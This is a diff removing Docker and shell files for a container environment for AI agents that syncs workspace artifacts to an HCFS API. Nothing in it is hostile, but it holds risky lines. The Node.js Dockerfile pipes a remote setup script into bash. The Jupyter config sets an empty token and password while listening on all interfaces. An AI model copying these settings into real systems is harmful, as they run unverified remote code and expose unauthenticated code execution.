apt-transport-https \
# Development essentials
vim \
nano \
tree \
jq \
zip \
unzip \
rsync \
tmux \
screen \
htop \
# Network tools
net-tools \
iputils-ping \
dnsutils \
# Python and pip
python3 \
python3-pip \
python3-dev \
python3-venv \
# FUSE for HCFS mounting
fuse3 \
libfuse3-dev \
# Additional utilities
sqlite3 \
openssh-client \
&& rm -rf /var/lib/apt/lists/*
# Set up Python symlinks
RUN ln -sf /usr/bin/python3 /usr/bin/python && \
ln -sf /usr/bin/pip3 /usr/bin/pip
# Install HCFS Python SDK and dependencies
RUN pip install --no-cache-dir \
httpx \
websockets \
fastapi \
uvicorn \
pydantic \
python-multipart \
aiofiles \
sentence-transformers \
numpy \
scipy \
scikit-learn \
requests \
pyyaml \
toml \
click
# Create directory structure
RUN mkdir -p \
/workspace \
/mnt/hcfs \
/home/agent \
/home/agent/work \
/home/agent/.local \
/home/agent/.cache \
/opt/hcfs \
/etc/hcfs \
/var/log/hcfs
# Set up HCFS integration scripts
COPY scripts/hcfs-init.sh /opt/hcfs/
COPY scripts/hcfs-mount.sh /opt/hcfs/
COPY scripts/hcfs-workspace.sh /opt/hcfs/
COPY scripts/entrypoint.sh /opt/hcfs/
COPY config/hcfs-agent.yaml /etc/hcfs/
# Make scripts executable
RUN chmod +x /opt/hcfs/*.sh
# Install HCFS client library
COPY hcfs-client /opt/hcfs/client
RUN cd /opt/hcfs/client && pip install -e .
# Set up agent workspace
RUN chown -R agent:agent /home/agent /workspace /mnt/hcfs
RUN chmod 755 /home/agent /workspace
# Configure sudo for agent user (needed for FUSE mounts)
RUN echo "agent ALL=(ALL) NOPASSWD: /bin/mount, /bin/umount, /usr/bin/fusermount3" >> /etc/sudoers
# Set default working directory
WORKDIR /home/agent/work
# Environment for development
ENV HOME=/home/agent
ENV USER=agent
ENV SHELL=/bin/bash
# Expose standard ports for development services
EXPOSE 8080 8000 3000 5000
# Set up entrypoint that initializes HCFS workspace
ENTRYPOINT ["/opt/hcfs/entrypoint.sh"]
CMD ["/bin/bash"]

137
docker/hcfs-base/config/hcfs-agent.yaml
View File

@@ -1,137 +0,0 @@
# HCFS Agent Configuration
# This configuration is used by agents running in HCFS-enabled containers
hcfs:
# HCFS API Configuration
api:
url: "http://host.docker.internal:8000"
timeout: 30s
retry_count: 3
# Workspace Configuration
workspace:
root: "/home/agent/work"
mount_point: "/mnt/hcfs"
auto_sync: true
sync_interval: 30s
# Artifact Collection
artifacts:
enabled: true
patterns:
- "*.log"
- "*.md"
- "*.txt"
- "*.json"
- "*.yaml"
- "output/*"
- "build/*.json"
- "results/*"
max_size: "10MB"
compress: false
# Cleanup Configuration
cleanup:
idle_timeout: "1h"
auto_cleanup: true
preserve_artifacts: true
# Agent Capabilities
agent:
capabilities:
- "file_operations"
- "command_execution"
- "artifact_collection"
- "context_sharing"
- "workspace_management"
# Resource Limits
limits:
max_memory: "2GB"
max_cpu: "2.0"
max_disk: "10GB"
max_files: 10000
# Development Tools
tools:
python:
enabled: true
version: "3.10"
venv: true
packages:
- "requests"
- "pyyaml"
- "click"
- "rich"
git:
enabled: true
auto_config: true
make:
enabled: true
docker:
enabled: false # Disabled by default for security
# Security Configuration
security:
user: "agent"
home: "/home/agent"
shell: "/bin/bash"
# Network restrictions
network:
allow_outbound: true
blocked_ports:
- 22 # SSH
- 3389 # RDP
- 5432 # PostgreSQL
- 3306 # MySQL
# File system restrictions
filesystem:
read_only_paths:
- "/etc"
- "/usr"
- "/boot"
writable_paths:
- "/home/agent"
- "/tmp"
- "/workspace"
- "/mnt/hcfs"
# Logging Configuration
logging:
level: "info"
format: "json"
destinations:
- "/var/log/hcfs/agent.log"
- "stdout"
# Log categories
categories:
workspace: "debug"
artifacts: "info"
hcfs_api: "info"
security: "warn"
# Environment Variables
environment:
PYTHONPATH: "/usr/local/lib/python3.10/site-packages"
PATH: "/home/agent/.local/bin:/usr/local/bin:/usr/bin:/bin"
TERM: "xterm-256color"
EDITOR: "vim"
# Container Metadata
metadata:
version: "1.0.0"
created_by: "bzzz-hcfs-integration"
description: "HCFS-enabled agent container for distributed AI development"
# Tags for categorization
tags:
- "ai-agent"
- "hcfs-enabled"
- "development"
- "sandboxed"

197
docker/hcfs-base/scripts/entrypoint.sh
View File

@@ -1,197 +0,0 @@
#!/bin/bash
set -euo pipefail
# HCFS Agent Container Entrypoint
echo "🚀 Starting HCFS-enabled agent container..."
# Environment validation
AGENT_ID="${AGENT_ID:-agent-$(hostname)}"
TASK_ID="${TASK_ID:-task-$(date +%s)}"
HCFS_API_URL="${HCFS_API_URL:-http://host.docker.internal:8000}"
HCFS_ENABLED="${HCFS_ENABLED:-true}"
echo "📋 Container Configuration:"
echo " Agent ID: $AGENT_ID"
echo " Task ID: $TASK_ID"
echo " HCFS API: $HCFS_API_URL"
echo " HCFS Enabled: $HCFS_ENABLED"
# Function to wait for HCFS API
wait_for_hcfs() {
local max_attempts=30
local attempt=0
echo "⏳ Waiting for HCFS API to be available..."
while [ $attempt -lt $max_attempts ]; do
if curl -s "$HCFS_API_URL/health" > /dev/null 2>&1; then
echo "✅ HCFS API is available"
return 0
fi
echo " Attempt $((attempt + 1))/$max_attempts - HCFS API not ready"
sleep 2
attempt=$((attempt + 1))
done
echo "❌ HCFS API failed to become available after $max_attempts attempts"
return 1
}
# Function to initialize HCFS workspace
init_hcfs_workspace() {
echo "🔧 Initializing HCFS workspace..."
# Create workspace context in HCFS
local workspace_path="/agents/$AGENT_ID/workspaces/$(date +%s)"
local context_data=$(cat <<EOF
{
"path": "$workspace_path",
"content": "Agent workspace for container $(hostname)",
"summary": "Agent $AGENT_ID workspace - Task $TASK_ID",
"metadata": {
"agent_id": "$AGENT_ID",
"task_id": "$TASK_ID",
"container_id": "$(hostname)",
"created_at": "$(date -Iseconds)",
"workspace_type": "agent_container"
}
}
EOF
)
# Create context via HCFS API
local response=$(curl -s -X POST \
-H "Content-Type: application/json" \
-d "$context_data" \
"$HCFS_API_URL/contexts" || echo "")
if [ -n "$response" ]; then
echo "✅ HCFS workspace context created: $workspace_path"
echo "$workspace_path" > /tmp/hcfs-workspace-path
return 0
else
echo "⚠️ Failed to create HCFS workspace context, using local storage"
return 1
fi
}
# Function to mount HCFS
mount_hcfs() {
local workspace_path="$1"
echo "🔗 Mounting HCFS workspace: $workspace_path"
# For now, create a symbolic structure since we don't have full FUSE implementation
# In production, this would be: fusermount3 -o allow_other "$workspace_path" /mnt/hcfs
mkdir -p /mnt/hcfs
mkdir -p /home/agent/work/{src,build,output,logs}
# Create workspace metadata
cat > /home/agent/work/.hcfs-workspace << EOF
HCFS_WORKSPACE_PATH=$workspace_path
HCFS_API_URL=$HCFS_API_URL
AGENT_ID=$AGENT_ID
TASK_ID=$TASK_ID
CREATED_AT=$(date -Iseconds)
EOF
# Set ownership
chown -R agent:agent /home/agent/work /mnt/hcfs
echo "✅ HCFS workspace mounted and configured"
}
# Function to setup development environment
setup_dev_environment() {
echo "🛠️ Setting up development environment..."
# Create standard development directories
sudo -u agent mkdir -p /home/agent/{.local/bin,.config,.cache,work/{src,tests,docs,scripts}}
# Set up git configuration if provided
if [ -n "${GIT_USER_NAME:-}" ] && [ -n "${GIT_USER_EMAIL:-}" ]; then
sudo -u agent git config --global user.name "$GIT_USER_NAME"
sudo -u agent git config --global user.email "$GIT_USER_EMAIL"
echo "✅ Git configuration set: $GIT_USER_NAME <$GIT_USER_EMAIL>"
fi
# Set up Python virtual environment
if [ "${SETUP_PYTHON_VENV:-true}" = "true" ]; then
sudo -u agent python3 -m venv /home/agent/.venv
echo "✅ Python virtual environment created"
fi
echo "✅ Development environment ready"
}
# Function to start background services
start_background_services() {
echo "🔄 Starting background services..."
# Start HCFS workspace sync daemon (if needed)
if [ "$HCFS_ENABLED" = "true" ] && [ -f /tmp/hcfs-workspace-path ]; then
/opt/hcfs/hcfs-workspace.sh daemon &
echo "✅ HCFS workspace sync daemon started"
fi
}
# Function to cleanup on exit
cleanup() {
echo "🧹 Container cleanup initiated..."
if [ "$HCFS_ENABLED" = "true" ] && [ -f /tmp/hcfs-workspace-path ]; then
echo "💾 Storing final workspace state to HCFS..."
/opt/hcfs/hcfs-workspace.sh finalize
fi
echo "✅ Cleanup completed"
}
# Set up signal handlers for graceful shutdown
trap cleanup EXIT INT TERM
# Main initialization sequence
main() {
echo "🏁 Starting HCFS Agent Container initialization..."
# Wait for HCFS if enabled
if [ "$HCFS_ENABLED" = "true" ]; then
if wait_for_hcfs; then
if init_hcfs_workspace; then
local workspace_path=$(cat /tmp/hcfs-workspace-path)
mount_hcfs "$workspace_path"
else
echo "⚠️ HCFS workspace initialization failed, continuing with local storage"
fi
else
echo "⚠️ HCFS API unavailable, continuing with local storage"
fi
else
echo "ℹ️ HCFS disabled, using local storage only"
fi
# Set up development environment
setup_dev_environment
# Start background services
start_background_services
echo "🎉 HCFS Agent Container initialization complete!"
echo "📁 Workspace: /home/agent/work"
echo "🔧 Agent: $AGENT_ID"
echo "📋 Task: $TASK_ID"
# Execute the provided command or start interactive shell
if [ $# -eq 0 ]; then
echo "🔧 Starting interactive shell..."
exec sudo -u agent -i /bin/bash
else
echo "🚀 Executing command: $*"
exec sudo -u agent "$@"
fi
}
# Execute main function
main "$@"

242
docker/hcfs-base/scripts/hcfs-workspace.sh
View File

@@ -1,242 +0,0 @@
#!/bin/bash
set -euo pipefail
# HCFS Workspace Management Script
# Handles workspace synchronization and artifact collection
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
WORKSPACE_DIR="/home/agent/work"
HCFS_CONFIG="/home/agent/work/.hcfs-workspace"
# Load workspace configuration
if [ -f "$HCFS_CONFIG" ]; then
source "$HCFS_CONFIG"
else
echo "⚠️ No HCFS workspace configuration found"
exit 1
fi
# Logging function
log() {
echo "[$(date +'%Y-%m-%d %H:%M:%S')] $1" | tee -a /var/log/hcfs/workspace.log
}
# Function to store artifact in HCFS
store_artifact() {
local artifact_path="$1"
local artifact_name="$2"
local content="$3"
local hcfs_artifact_path="${HCFS_WORKSPACE_PATH}/artifacts/${artifact_name}"
local artifact_data=$(cat <<EOF
{
"path": "$hcfs_artifact_path",
"content": "$content",
"summary": "Artifact: $artifact_name",
"metadata": {
"agent_id": "$AGENT_ID",
"task_id": "$TASK_ID",
"artifact_name": "$artifact_name",
"artifact_type": "workspace_output",
"file_path": "$artifact_path",
"created_at": "$(date -Iseconds)"
}
}
EOF
)
local response=$(curl -s -X POST \
-H "Content-Type: application/json" \
-d "$artifact_data" \
"$HCFS_API_URL/contexts" || echo "")
if [ -n "$response" ]; then
log "✅ Stored artifact: $artifact_name -> $hcfs_artifact_path"
return 0
else
log "❌ Failed to store artifact: $artifact_name"
return 1
fi
}
# Function to collect and store workspace artifacts
collect_artifacts() {
log "📦 Collecting workspace artifacts..."
local artifact_count=0
# Common artifact patterns
local artifact_patterns=(
"*.log"
"*.md"
"*.txt"
"*.json"
"*.yaml"
"*.yml"
"output/*"
"build/*.json"
"build/*.xml"
"results/*"
"./**/README*"
"./**/CHANGELOG*"
"./**/requirements*.txt"
"./**/package*.json"
"./**/Cargo.toml"
"./**/go.mod"
"./**/pom.xml"
)
for pattern in "${artifact_patterns[@]}"; do
while IFS= read -r -d '' file; do
if [ -f "$file" ] && [ -s "$file" ]; then
local relative_path="${file#$WORKSPACE_DIR/}"
local content=$(base64 -w 0 "$file" 2>/dev/null || echo "")
if [ -n "$content" ] && [ ${#content} -lt 1000000 ]; then # Limit to 1MB
if store_artifact "$relative_path" "$relative_path" "$content"; then
artifact_count=$((artifact_count + 1))
fi
fi
fi
done < <(find "$WORKSPACE_DIR" -name "$pattern" -type f -print0 2>/dev/null || true)
done
log "✅ Collected $artifact_count artifacts"
}
# Function to update workspace status in HCFS
update_workspace_status() {
local status="$1"
local message="$2"
local status_data=$(cat <<EOF
{
"path": "${HCFS_WORKSPACE_PATH}/status",
"content": "$message",
"summary": "Workspace status: $status",
"metadata": {
"agent_id": "$AGENT_ID",
"task_id": "$TASK_ID",
"status": "$status",
"timestamp": "$(date -Iseconds)",
"hostname": "$(hostname)",
"workspace_dir": "$WORKSPACE_DIR"
}
}
EOF
)
curl -s -X POST \
-H "Content-Type: application/json" \
-d "$status_data" \
"$HCFS_API_URL/contexts" > /dev/null || true
log "📊 Updated workspace status: $status"
}
# Function to sync workspace changes
sync_workspace() {
log "🔄 Syncing workspace changes..."
# Create workspace summary
local file_count=$(find "$WORKSPACE_DIR" -type f 2>/dev/null | wc -l)
local dir_count=$(find "$WORKSPACE_DIR" -type d 2>/dev/null | wc -l)
local total_size=$(du -sb "$WORKSPACE_DIR" 2>/dev/null | cut -f1 || echo "0")
local summary=$(cat <<EOF
Workspace Summary ($(date -Iseconds)):
- Files: $file_count
- Directories: $dir_count
- Total Size: $total_size bytes
- Agent: $AGENT_ID
- Task: $TASK_ID
- Container: $(hostname)
Recent Activity:
$(ls -la "$WORKSPACE_DIR" 2>/dev/null | head -10 || echo "No files")
EOF
)
update_workspace_status "active" "$summary"
}
# Function to finalize workspace
finalize_workspace() {
log "🏁 Finalizing workspace..."
# Collect all artifacts
collect_artifacts
# Create final summary
local completion_summary=$(cat <<EOF
Workspace Completion Summary:
- Agent ID: $AGENT_ID
- Task ID: $TASK_ID
- Container: $(hostname)
- Started: $CREATED_AT
- Completed: $(date -Iseconds)
- Duration: $(($(date +%s) - $(date -d "$CREATED_AT" +%s 2>/dev/null || echo "0"))) seconds
Final Workspace Contents:
$(find "$WORKSPACE_DIR" -type f 2>/dev/null | head -20 || echo "No files")
Artifacts Collected:
$(ls "$WORKSPACE_DIR"/{output,build,logs,results}/* 2>/dev/null | head -10 || echo "No artifacts")
EOF
)
update_workspace_status "completed" "$completion_summary"
log "✅ Workspace finalized"
}
# Daemon mode for continuous sync
daemon_mode() {
log "🔄 Starting HCFS workspace sync daemon..."
local sync_interval=30 # seconds
local last_sync=0
while true; do
local current_time=$(date +%s)
if [ $((current_time - last_sync)) -ge $sync_interval ]; then
sync_workspace
last_sync=$current_time
fi
sleep 5
done
}
# Main command dispatcher
case "${1:-help}" in
"sync")
sync_workspace
;;
"collect")
collect_artifacts
;;
"finalize")
finalize_workspace
;;
"daemon")
daemon_mode
;;
"status")
update_workspace_status "active" "Status check at $(date -Iseconds)"
;;
"help"|*)
echo "HCFS Workspace Management Script"
echo ""
echo "Usage: $0 {sync|collect|finalize|daemon|status|help}"
echo ""
echo "Commands:"
echo " sync - Sync current workspace state to HCFS"
echo " collect - Collect and store artifacts in HCFS"
echo " finalize - Finalize workspace and store all artifacts"
echo " daemon - Run continuous sync daemon"
echo " status - Update workspace status in HCFS"
echo " help - Show this help message"
;;
esac

141
docker/hcfs-go/Dockerfile
View File

@@ -1,141 +0,0 @@
# HCFS Go Development Environment
FROM bzzz-hcfs-base:latest
LABEL maintainer="anthony@deepblack.cloud"
LABEL description="HCFS Go development environment with modern Go tools"
LABEL language="go"
LABEL version="1.0.0"
# Install Go
ENV GO_VERSION=1.21.3
RUN wget -O go.tar.gz "https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz" && \
tar -C /usr/local -xzf go.tar.gz && \
rm go.tar.gz
# Set up Go environment
ENV GOROOT=/usr/local/go
ENV GOPATH=/home/agent/go
ENV GOCACHE=/home/agent/.cache/go-build
ENV GOMODCACHE=/home/agent/.cache/go-mod
ENV PATH=$GOROOT/bin:$GOPATH/bin:$PATH
# Create Go workspace
RUN sudo -u agent mkdir -p /home/agent/go/{bin,src,pkg} && \
sudo -u agent mkdir -p /home/agent/work/{cmd,internal,pkg,api,web,scripts,docs,tests}
# Install Go development tools
RUN sudo -u agent bash -c 'go install golang.org/x/tools/gopls@latest' && \
sudo -u agent bash -c 'go install golang.org/x/tools/cmd/goimports@latest' && \
sudo -u agent bash -c 'go install golang.org/x/lint/golint@latest' && \
sudo -u agent bash -c 'go install github.com/goreleaser/goreleaser@latest' && \
sudo -u agent bash -c 'go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest' && \
sudo -u agent bash -c 'go install github.com/go-delve/delve/cmd/dlv@latest' && \
sudo -u agent bash -c 'go install github.com/swaggo/swag/cmd/swag@latest' && \
sudo -u agent bash -c 'go install github.com/air-verse/air@latest'
# Install popular Go frameworks and libraries
RUN sudo -u agent bash -c 'cd /tmp && go mod init temp && \
go get github.com/gin-gonic/gin@latest && \
go get github.com/gorilla/mux@latest && \
go get github.com/echo-community/echo/v4@latest && \
go get github.com/gofiber/fiber/v2@latest && \
go get gorm.io/gorm@latest && \
go get github.com/stretchr/testify@latest && \
go get github.com/spf13/cobra@latest && \
go get github.com/spf13/viper@latest'
# Install HCFS Go SDK
COPY hcfs-go-sdk /opt/hcfs/go-sdk
RUN cd /opt/hcfs/go-sdk && sudo -u agent go mod tidy
# Create Go project template
RUN sudo -u agent bash -c 'cat > /home/agent/work/go.mod.template << EOF
module hcfs-agent-project
go 1.21
require (
github.com/hcfs/go-sdk v0.1.0
github.com/gin-gonic/gin v1.9.1
github.com/spf13/cobra v1.7.0
github.com/spf13/viper v1.16.0
)
replace github.com/hcfs/go-sdk => /opt/hcfs/go-sdk
EOF'
RUN sudo -u agent bash -c 'cat > /home/agent/work/main.go.template << EOF
package main
import (
"fmt"
"log"
"github.com/hcfs/go-sdk/client"
)
func main() {
// Initialize HCFS client
hcfsClient, err := client.NewHCFSClient("http://host.docker.internal:8000")
if err != nil {
log.Fatal("Failed to create HCFS client:", err)
}
fmt.Println("HCFS Go agent starting...")
// Your agent code here
}
EOF'
# Create Makefile template
RUN sudo -u agent bash -c 'cat > /home/agent/work/Makefile.template << EOF
.PHONY: build run test clean lint fmt
BINARY_NAME=agent
MAIN_PATH=./cmd/main.go
build:
go build -o bin/$(BINARY_NAME) $(MAIN_PATH)
run:
go run $(MAIN_PATH)
test:
go test -v ./...
test-coverage:
go test -v -coverprofile=coverage.out ./...
go tool cover -html=coverage.out
clean:
go clean
rm -f bin/$(BINARY_NAME)
rm -f coverage.out
lint:
golangci-lint run
fmt:
go fmt ./...
goimports -w .
deps:
go mod tidy
go mod download
.DEFAULT_GOAL := build
EOF'
# Go-specific HCFS integration script
COPY scripts/go-hcfs-init.go /opt/hcfs/scripts/
RUN chmod +x /opt/hcfs/scripts/go-hcfs-init.go
# Expose common Go development ports
EXPOSE 8080 8000 9000 2345
# Add Go-specific entrypoint
COPY scripts/go-entrypoint.sh /opt/hcfs/
RUN chmod +x /opt/hcfs/go-entrypoint.sh
ENTRYPOINT ["/opt/hcfs/go-entrypoint.sh"]
CMD ["go", "version"]

112
docker/hcfs-nodejs/Dockerfile
View File

@@ -1,112 +0,0 @@
# HCFS Node.js Development Environment
FROM bzzz-hcfs-base:latest
LABEL maintainer="anthony@deepblack.cloud"
LABEL description="HCFS Node.js development environment with modern JS/TS tools"
LABEL language="javascript"
LABEL version="1.0.0"
# Install Node.js and npm
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
apt-get install -y nodejs
# Install Yarn package manager
RUN npm install -g yarn
# Install global development tools
RUN npm install -g \
# TypeScript ecosystem
typescript \
ts-node \
@types/node \
# Build tools
webpack \
webpack-cli \
rollup \
vite \
# Testing frameworks
jest \
mocha \
cypress \
# Code quality
eslint \
prettier \
@typescript-eslint/parser \
@typescript-eslint/eslint-plugin \
# Development servers
nodemon \
concurrently \
# Package management
npm-check-updates \
# Documentation
jsdoc \
typedoc \
# CLI tools
commander \
inquirer \
chalk \
# Process management
pm2 \
forever
# Create Node.js workspace structure
RUN sudo -u agent mkdir -p /home/agent/work/{src,tests,docs,public,build,dist}
# Set up Node.js environment
ENV NODE_ENV=development
ENV NPM_CONFIG_PREFIX=/home/agent/.npm-global
ENV PATH=/home/agent/.npm-global/bin:$PATH
# Create npm configuration
RUN sudo -u agent mkdir -p /home/agent/.npm-global && \
sudo -u agent npm config set prefix '/home/agent/.npm-global'
# Install HCFS Node.js SDK
COPY hcfs-nodejs-sdk /opt/hcfs/nodejs-sdk
RUN cd /opt/hcfs/nodejs-sdk && npm install && npm link
# Create package.json template for new projects
RUN sudo -u agent bash -c 'cat > /home/agent/work/package.json.template << EOF
{
"name": "hcfs-agent-project",
"version": "1.0.0",
"description": "HCFS-enabled Node.js project",
"main": "src/index.js",
"scripts": {
"start": "node src/index.js",
"dev": "nodemon src/index.js",
"test": "jest",
"build": "webpack --mode production",
"lint": "eslint src/",
"format": "prettier --write src/"
},
"dependencies": {
"@hcfs/sdk": "file:/opt/hcfs/nodejs-sdk",
"express": "^4.18.0",
"axios": "^1.0.0"
},
"devDependencies": {
"nodemon": "^3.0.0",
"jest": "^29.0.0",
"eslint": "^8.0.0",
"prettier": "^3.0.0"
},
"engines": {
"node": ">=18.0.0"
}
}
EOF'
# Node.js-specific HCFS integration script
COPY scripts/nodejs-hcfs-init.js /opt/hcfs/scripts/
RUN chmod +x /opt/hcfs/scripts/nodejs-hcfs-init.js
# Expose common Node.js development ports
EXPOSE 3000 8080 8000 9229
# Add Node.js-specific entrypoint
COPY scripts/nodejs-entrypoint.sh /opt/hcfs/
RUN chmod +x /opt/hcfs/nodejs-entrypoint.sh
ENTRYPOINT ["/opt/hcfs/nodejs-entrypoint.sh"]
CMD ["node"]

139
docker/hcfs-python/Dockerfile
View File

@@ -1,139 +0,0 @@
# HCFS Python Development Environment
FROM bzzz-hcfs-base:latest
LABEL maintainer="anthony@deepblack.cloud"
LABEL description="HCFS Python development environment with ML/AI tools"
LABEL language="python"
LABEL version="1.0.0"
# Install Python development tools
RUN apt-get update && apt-get install -y \
# Python build dependencies
python3-dev \
python3-wheel \
python3-setuptools \
# Data science libraries dependencies
libhdf5-dev \
libnetcdf-dev \
libopenblas-dev \
liblapack-dev \
gfortran \
# ML/AI library dependencies
libgraphviz-dev \
graphviz \
# Image processing
libjpeg-dev \
libpng-dev \
libtiff-dev \
# Additional development tools
python3-ipython \
jupyter-core \
# Testing tools
python3-pytest \
&& rm -rf /var/lib/apt/lists/*
# Install comprehensive Python package ecosystem
RUN pip install --no-cache-dir \
# Core development
ipython \
jupyter \
jupyterlab \
notebook \
# Web frameworks
flask \
fastapi \
django \
starlette \
# Data science and ML
numpy \
pandas \
scipy \
scikit-learn \
matplotlib \
seaborn \
plotly \
# Deep learning
torch \
torchvision \
transformers \
# NLP
nltk \
spacy \
sentence-transformers \
# API and HTTP
requests \
httpx \
aiohttp \
# Database
sqlalchemy \
psycopg2-binary \
sqlite3 \
# Configuration and serialization
pyyaml \
toml \
configparser \
# CLI tools
click \
typer \
rich \
# Testing
pytest \
pytest-asyncio \
pytest-cov \
# Code quality
black \
flake8 \
mypy \
pylint \
# Documentation
sphinx \
mkdocs \
# Async programming
asyncio \
aiofiles \
# Development utilities
python-dotenv \
tqdm \
loguru
# Install HCFS Python SDK
COPY hcfs-python-sdk /opt/hcfs/python-sdk
RUN cd /opt/hcfs/python-sdk && pip install -e .
# Create development workspace structure
RUN sudo -u agent mkdir -p /home/agent/work/{src,tests,docs,notebooks,data,models,scripts}
# Set up Python-specific environment
ENV PYTHONPATH=/home/agent/work/src:/opt/hcfs/python-sdk:$PYTHONPATH
ENV JUPYTER_CONFIG_DIR=/home/agent/.jupyter
ENV JUPYTER_DATA_DIR=/home/agent/.local/share/jupyter
# Create Jupyter configuration
RUN sudo -u agent mkdir -p /home/agent/.jupyter && \
sudo -u agent bash -c 'cat > /home/agent/.jupyter/jupyter_notebook_config.py << EOF
c.NotebookApp.ip = "0.0.0.0"
c.NotebookApp.port = 8888
c.NotebookApp.open_browser = False
c.NotebookApp.token = ""
c.NotebookApp.password = ""
c.NotebookApp.notebook_dir = "/home/agent/work"
c.NotebookApp.allow_root = False
EOF'
# Python-specific HCFS integration script
COPY scripts/python-hcfs-init.py /opt/hcfs/scripts/
RUN chmod +x /opt/hcfs/scripts/python-hcfs-init.py
# Expose common Python development ports
EXPOSE 8888 8000 5000 8080
# Set Python as the default environment
ENV SHELL=/bin/bash
ENV PYTHON_ENV=development
# Add Python-specific entrypoint
COPY scripts/python-entrypoint.sh /opt/hcfs/
RUN chmod +x /opt/hcfs/python-entrypoint.sh
ENTRYPOINT ["/opt/hcfs/python-entrypoint.sh"]
CMD ["python"]

1009
docs/BZZZ-2B-ARCHITECTURE.md
View File

File diff suppressed because it is too large Load Diff

1072
docs/BZZZv2B-API_REFERENCE.md
View File

File diff suppressed because it is too large Load Diff

1072
docs/BZZZv2B-DEVELOPER.md
View File

File diff suppressed because it is too large Load Diff

228
docs/BZZZv2B-INDEX.md
View File

@@ -1,228 +0,0 @@
# BZZZ Documentation Index
**Version 2.0 - Phase 2B Edition**
**Complete Documentation Suite for Distributed Semantic Context Publishing**
## Documentation Overview
This documentation suite provides comprehensive coverage of the BZZZ system, from user guides to technical implementation details. All documents are cross-referenced and maintained for the Phase 2B unified architecture.
## Quick Navigation
### For New Users
1. **[User Manual](USER_MANUAL.md)** - Start here for basic usage
2. **[API Reference](API_REFERENCE.md)** - HTTP API documentation
3. **[SDK Guide](BZZZv2B-SDK.md)** - Developer SDK and examples
### For Developers
1. **[Developer Guide](DEVELOPER.md)** - Development setup and contribution
2. **[Architecture Documentation](ARCHITECTURE.md)** - System design and diagrams
3. **[Technical Report](TECHNICAL_REPORT.md)** - Comprehensive technical analysis
### For Operations
1. **[Operations Guide](OPERATIONS.md)** - Deployment and monitoring
2. **[Security Documentation](SECURITY.md)** - Security model and best practices
3. **[Configuration Reference](CONFIG_REFERENCE.md)** - Complete configuration guide
## Document Categories
### 📚 User Documentation
Complete guides for end users and system operators.
| Document | Description | Audience | Status |
|----------|-------------|----------|---------|
| **[User Manual](USER_MANUAL.md)** | Comprehensive user guide with examples | End users, admins | ✅ Complete |
| **[API Reference](API_REFERENCE.md)** | Complete HTTP API documentation | Developers, integrators | ✅ Complete |
| **[Configuration Reference](CONFIG_REFERENCE.md)** | System configuration guide | System administrators | ✅ Complete |
### 🔧 Developer Documentation
Technical documentation for developers and contributors.
| Document | Description | Audience | Status |
|----------|-------------|----------|---------|
| **[Developer Guide](DEVELOPER.md)** | Development setup and contribution guide | Contributors, maintainers | ✅ Complete |
| **[SDK Documentation](BZZZv2B-SDK.md)** | Complete SDK guide with examples | SDK users, integrators | ✅ Complete |
| **[SDK Examples](../examples/sdk/README.md)** | Working examples in multiple languages | Developers | ✅ Complete |
### 🏗️ Architecture Documentation
System design, architecture, and technical analysis.
| Document | Description | Audience | Status |
|----------|-------------|----------|---------|
| **[Architecture Documentation](ARCHITECTURE.md)** | System design with detailed diagrams | Architects, senior developers | ✅ Complete |
| **[Technical Report](TECHNICAL_REPORT.md)** | Comprehensive technical analysis | Technical stakeholders | ✅ Complete |
| **[Security Documentation](SECURITY.md)** | Security model and threat analysis | Security engineers | ✅ Complete |
### 🚀 Operations Documentation
Deployment, monitoring, and operational procedures.
| Document | Description | Audience | Status |
|----------|-------------|----------|---------|
| **[Operations Guide](OPERATIONS.md)** | Deployment and monitoring guide | DevOps, SRE teams | 🔄 In Progress |
| **[Benchmarks](BENCHMARKS.md)** | Performance benchmarks and analysis | Performance engineers | 📋 Planned |
| **[Troubleshooting Guide](TROUBLESHOOTING.md)** | Common issues and solutions | Support teams | 📋 Planned |
## Cross-Reference Matrix
This matrix shows how documents reference each other for comprehensive understanding:
### Primary Reference Flow
```
User Manual ──▶ API Reference ──▶ SDK Documentation
│ │ │
▼ ▼ ▼
Configuration ──▶ Developer Guide ──▶ Architecture Docs
│ │ │
▼ ▼ ▼
Operations ──────▶ Technical Report ──▶ Security Docs
```
### Document Dependencies
#### User Manual Dependencies
- **References**: API Reference, Configuration Reference, Operations Guide
- **Referenced by**: All other documents (foundation document)
- **Key Topics**: Basic usage, role configuration, decision publishing
#### API Reference Dependencies
- **References**: Security Documentation, Configuration Reference
- **Referenced by**: SDK Documentation, Developer Guide, User Manual
- **Key Topics**: Endpoints, authentication, data models
#### SDK Documentation Dependencies
- **References**: API Reference, Developer Guide, Architecture Documentation
- **Referenced by**: Examples, Technical Report
- **Key Topics**: Client libraries, integration patterns, language bindings
#### Developer Guide Dependencies
- **References**: Architecture Documentation, Configuration Reference, Technical Report
- **Referenced by**: SDK Documentation, Operations Guide
- **Key Topics**: Development setup, contribution guidelines, testing
#### Architecture Documentation Dependencies
- **References**: Technical Report, Security Documentation
- **Referenced by**: Developer Guide, SDK Documentation, Operations Guide
- **Key Topics**: System design, component interactions, deployment patterns
#### Technical Report Dependencies
- **References**: All other documents (comprehensive analysis)
- **Referenced by**: Architecture Documentation, Operations Guide
- **Key Topics**: Performance analysis, security assessment, operational considerations
### Cross-Reference Examples
#### From User Manual:
- "For API details, see [API Reference](API_REFERENCE.md#agent-apis)"
- "Complete configuration options in [Configuration Reference](CONFIG_REFERENCE.md)"
- "Development setup in [Developer Guide](DEVELOPER.md#development-environment)"
#### From API Reference:
- "Security model detailed in [Security Documentation](SECURITY.md#api-security)"
- "SDK examples in [SDK Documentation](BZZZv2B-SDK.md#examples)"
- "Configuration in [User Manual](USER_MANUAL.md#configuration)"
#### From SDK Documentation:
- "API endpoints described in [API Reference](API_REFERENCE.md)"
- "Architecture overview in [Architecture Documentation](ARCHITECTURE.md)"
- "Working examples in [SDK Examples](../examples/sdk/README.md)"
## Documentation Standards
### Writing Guidelines
- **Clarity**: Clear, concise language suitable for target audience
- **Structure**: Consistent heading hierarchy and organization
- **Examples**: Practical examples with expected outputs
- **Cross-References**: Links to related sections in other documents
- **Versioning**: All documents versioned and date-stamped
### Technical Standards
- **Code Examples**: Tested, working code samples
- **Diagrams**: ASCII diagrams for terminal compatibility
- **Configuration**: Complete, valid configuration examples
- **Error Handling**: Include error scenarios and solutions
### Maintenance Process
- **Review Cycle**: Monthly review for accuracy and completeness
